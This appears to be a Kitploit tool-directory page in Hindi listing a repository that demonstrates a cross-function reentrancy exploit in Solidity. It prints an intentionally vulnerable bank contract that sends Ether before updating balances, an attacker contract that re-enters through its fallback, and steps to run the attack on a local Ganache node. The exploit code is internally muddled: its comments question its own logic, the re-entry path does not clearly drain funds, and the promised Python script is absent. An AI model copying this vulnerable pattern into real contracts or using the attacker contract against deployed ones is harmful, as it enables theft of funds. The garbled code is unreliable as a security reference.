Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — कमज़ोर Solidity कॉन्ट्रैक्ट और अटैकर कॉन्ट्रैक्ट सहित स्मार्ट कॉन्ट्रैक्ट्स के लिए क्रॉस-फ़ंक्शन रीएंट्रेंसी शोषण (reentrancy exploit) उदाहरण, जो fallback री-एंट्री के माध्यम से फंड निकासी का प्रदर्शन करता है। | Kitploit
उपकरण/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
भेद्यता विश्लेषणशोषणलर्निंग और शिक्षा
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

कमज़ोर Solidity कॉन्ट्रैक्ट और अटैकर कॉन्ट्रैक्ट सहित स्मार्ट कॉन्ट्रैक्ट्स के लिए क्रॉस-फ़ंक्शन रीएंट्रेंसी शोषण (reentrancy exploit) उदाहरण, जो fallback री-एंट्री के माध्यम से फंड निकासी का प्रदर्शन करता है।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
18 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-1111 – स्मार्ट कॉन्ट्रैक्ट क्रॉस‑फंक्शन रिएंट्रेंसी

प्रोग्राम कोड (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – स्मार्ट कॉन्ट्रैक्ट में क्रॉस‑फंक्शन रिएंट्रेंसी

Severity: Critical

अवलोकन

एक स्मार्ट कॉन्ट्रैक्ट में वैश्विक रिएंट्रेंसी गार्ड का अभाव है, जिससे एक हमलावर withdraw कॉल के दौरान एक अलग फ़ंक्शन के माध्यम से कॉन्ट्रैक्ट में पुनः प्रवेश कर सकता है, स्थानीय गार्ड को बायपास कर सकता है और धनराशि निकाल सकता है।

भेद्यता विवरण

  • प्रकार: रिएंट्रेंसी
  • प्रभाव: सभी लॉक किए गए Ether की चोरी।
  • मूल कारण: withdraw फ़ंक्शन बाहरी कॉल के बाद शेष राशि को अपडेट करता है, और एक अलग स्टेट‑बदलने वाले फ़ंक्शन (transferTo) को रिएंट्रेंटली कॉल किया जा सकता है, जो balances में हेरफेर करता है।

शोषण प्रदर्शन

  1. एक स्थानीय Ethereum नोड (Ganache) प्रारंभ करें:
    root@kitploit:~
    ganache-cli
    
  2. Remix या Truffle का उपयोग करके VulnerableBank.sol और Attacker.sol को डिप्लॉय करें।
  3. Python स्क्रिप्ट के माध्यम से हमला निष्पादित करें (Remix कंसोल का उपयोग करके सिम्युलेट करें):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
टूल डाउनलोड करें